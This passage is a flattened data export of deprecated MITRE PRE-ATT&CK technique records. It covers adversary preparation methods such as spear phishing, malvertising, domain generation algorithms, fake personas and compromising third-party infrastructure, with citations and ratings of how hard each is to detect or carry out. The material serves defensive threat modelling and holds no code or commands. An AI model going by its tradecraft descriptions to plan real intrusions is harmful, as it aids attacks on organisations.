scam uses voice recording to steal money. Retrieved March 29, 2017.')]",attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:26:25.555000+00:00,Spear phishing messages with text only,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).",,Yes,"Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",,,False,,PRE-T1145,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240). - -Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1240', external_id='T1240'), ExternalReference(source_name='Heffter', description='Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.'), ExternalReference(source_name='JP2-01', description='Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.')]",attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-direction')]",2020-10-26 13:42:49.342000+00:00,Task requirements,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1017,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360). - -An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1360', external_id='T1360'), ExternalReference(source_name='OCIAC Pre Incident Indicators', description='Orange County Intelligence Assessment Center. (n.d.). Pre-Incident Indicators. Retrieved March 28, 2017.'), ExternalReference(source_name='NewsAgencySpy', description='The Canadian Press. (2012, August 22). Reporter says Chinese news agency asked him to spy. Retrieved March 9, 2017.')]",attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test physical access,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.",,No,"Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)",,,,,PRE-T1137,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1370', external_id='T1370'), ExternalReference(source_name='CitizenLabGreatCannon', description='Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China’s Great Cannon. Retrieved March 9, 2017.')]",attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:30:45.039000+00:00,Untargeted client-side exploitation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.",,Yes,Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.,,,False,,PRE-T1147,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277). - -Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1277', external_id='T1277'), ExternalReference(source_name='SANSThreatProfile', description='Stephen Irwin. (2014, September 8). Creating a Threat Profile for Your Organization. Retrieved March 5, 2017.'), ExternalReference(source_name='Infosec-osint', description='InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.'), ExternalReference(source_name='isight-osint', description='Dawn Lomer. (2017). 101+ OSINT Resources for Investigators. Retrieved May 9, 2017.')]",attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Acquire OSINT data sets and information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This activity is indistinguishable from legitimate business uses and easy to obtain.,,Yes,"Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.",,,,,PRE-T1054,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310). - -Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1310', external_id='T1310'), ExternalReference(source_name='Adobe Code Signing Cert', description='Brad Arkin. (2012, September 27). Inappropriate Use of Adobe Code Signing Certificate. Retrieved March 28, 2017.')]",attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Acquire or compromise 3rd party signing certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.,,No,It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms,,,,,PRE-T1087,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301). - -Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1301', external_id='T1301'), ExternalReference(source_name='Warwick2015', description='Warwick Ashford. (2015, March). Cyber crime: What every business needs to know. Retrieved March 6, 2017.')]",attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze business processes,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.,,No,"To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.",,,,,PRE-T1078,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297). - -Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1297', external_id='T1297'), ExternalReference(source_name='FakeLinkedIn', description='LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.')]",attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze organizational skillsets and deficiencies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No access to who is consuming the job postings to know what is being observed.,,Yes,Job postings have to be made public for contractors and many times have the name of the organization being supported.,,,,,PRE-T1074,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236). - -Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1236', external_id='T1236'), ExternalReference(source_name='CyberAdvertisingChar', description='Tom Parker, Matt Devost, Marcus Sachs, and Toby Miller. (2003). Cyber Adversary Characterization. Retrieved March 5, 2017.'), ExternalReference(source_name='CIATradecraft', description='Central Intelligence Agency. (2009). A Tradecraft Primer: Structured Analytic Techniques for Improving Intelligence Analysis. Retrieved March 5, 2017.'), ExternalReference(source_name='ForensicAdversaryModeling', description='John Lowry, Rico Valdez, Brad Wood. (n.d.). Adversary Modeling to Develop Forensic Observables. Retrieved March 5, 2017.'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.')]",attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,"Assess current holdings, needs, and wants",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1013,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298). - -Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1298', external_id='T1298'), ExternalReference(source_name='Zetter2015Threats', description='Kim Zetter. (2015, January 4). The Biggest Security Threats We’ll Face in 2015. Retrieved March 5, 2017.'), ExternalReference(source_name='WSJTargetBreach', description=""Paul Ziobro. (2014, February 6). Target Breach Began With Contractor's Electronic Billing Link. Retrieved March 6, 2017."")]",attack-pattern--1def484d-2343-470d-8925-88f45b5f9615,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Assess vulnerability of 3rd party vendors,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.,,Yes,The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.,,,,,PRE-T1075,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1384', external_id='T1384'), ExternalReference(source_name='WSUSpect2015', description='Paul Stone & Alex Chapman. (2015, August 5). WSUSpect: Compromising the Windows Enterprise via Windows Update. Retrieved March 1, 2017.')]",attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-03-30 14:15:05.089000+00:00,Automated system performs requested action,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.,,Yes,"Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",,,False,,PRE-T1161,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352). - -Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1352', external_id='T1352'), ExternalReference(source_name='HAMMERTOSS2015', description='FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.')]",attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,C2 protocol development,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but development will be performed on their local systems.",,Yes,C2 over commonly used and permitted protocols provides the necessary cover and access.,,,,,PRE-T1129,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334). - -Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1334', external_id='T1334'), ExternalReference(source_name='WateringHole2014', description='Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.'), ExternalReference(source_name='FireEye Operation SnowMan', description='Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.')]",attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Compromise 3rd party infrastructure to support delivery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,,Yes,"Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",,,,,PRE-T1111,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253). - -Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1253', external_id='T1253'), ExternalReference(source_name='SurveyDetectionStrategies', description='Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.'), ExternalReference(source_name='CyberReconPaper', description='H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.')]",attack-pattern--a7c620e5-cbc9-41b2-9695-418ef560f16c,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Conduct passive scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Generates no network traffic that would enable detection.,,Yes,Easy to do but it requires a vantage point conducive to accessing this data.,,,,,PRE-T1030,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1383', external_id='T1383'), ExternalReference(source_name='FireEye Malware Stages', description='carlota. (2014, November 12). Stages of a Malware Infection. Retrieved April 1, 2017.'), ExternalReference(source_name='APTNetworkTrafficAnalysis', description='Nart Villeneuve and James Bennett. (2012). Detecting APT Activity with Network Traffic Analysis. Retrieved March 9, 2017.')]",attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-03-30 14:17:12+00:00,Confirmation of launched compromise achieved,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.,,Yes,"Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",,,False,,PRE-T1160,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1231). - -Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1231', external_id='T1231'), ExternalReference(source_name='KPMGChina5Year', description='KPMG. (2016, October 19). China’s 13th Five-Year Plan signals a potential new era of Sino-foreign cooperation, finds KPMG report. Retrieved March 2, 2017.'), ExternalReference(source_name='China5YearPlans', description='Wikipedia contributors. (2017, February 8). Five-year plans of China. Retrieved March 2, 2017.'), ExternalReference(source_name='ChinaUN', description=""People's Republic of China. (2015, November). China's 13th Five-Year Plan. Retrieved May 19, 2017."")]",attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Create strategic plan,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1008,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1380', external_id='T1380'), ExternalReference(source_name='TPMalvertising', description='Michael Mimoso. (2015, March 30). AD NETWORKS RIPE FOR ABUSE VIA MALVERTISING. Retrieved March 9, 2017.')]",attack-pattern--d72c0bc0-3007-418c-842c-328027ebdbc1,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:18:44.045000+00:00,Deploy exploit using advertising,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.",,Yes,"An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.",,,False,,PRE-T1157,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285). - -Determining if a ""corporate"" help desk exists, the degree of access and control it has, and whether there are ""edge"" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1285', external_id='T1285'), ExternalReference(source_name='SANSCentratlizeManagement', description='Scott Rasmussen. (2002, January 28). Centralized Network Security Management: Combining Defense In Depth with Manageable Security. Retrieved March 5, 2017.')]",attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine centralization of IT management,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,,Yes,"Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.",,,,,PRE-T1062,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242). - -If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1242', external_id='T1242'), ExternalReference(source_name='CyberAdversaryBehavior', description='Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'), ExternalReference(source_name='JP3-60', description='Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.'), ExternalReference(source_name='JP3-12R', description='Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.'), ExternalReference(source_name='DoD Cyber 2015', description='Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.')]",attack-pattern--c860af4a-376e-46d7-afbf-262c41012227,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='target-selection')]",2020-10-26 13:42:49.342000+00:00,Determine operational element,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.",,Yes,This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.,,,,,PRE-T1019,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342). - -Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1342', external_id='T1342'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'), ExternalReference(source_name='RobinSageInterview', description='Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.')]",attack-pattern--271e6d40-e191-421a-8f87-a8102452c201,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Develop social network persona digital footprint,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",,Yes,"The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.",,,,,PRE-T1119,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).** - -The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1323', external_id='T1323'), ExternalReference(source_name='DamballaDGA', description='Damballa Day Before Zero Blog. (2012, March 5). Domain Generation Algorithms (DGA) in Stealthy Malware. Retrieved March 6, 2017.'), ExternalReference(source_name='DambballaDGACyberCriminals', description='Damballa. (n.d.). DGAs in the Hands of Cyber-Criminals Examining The State Of The Art In Malware Evasion Techniques. Retrieved March 6, 2017.')]",attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-03-30 14:06:00.117000+00:00,Domain Generation Algorithms (DGA),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.",,Yes,This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.,,,False,,PRE-T1100,,,,,,2.0 -2017-12-14 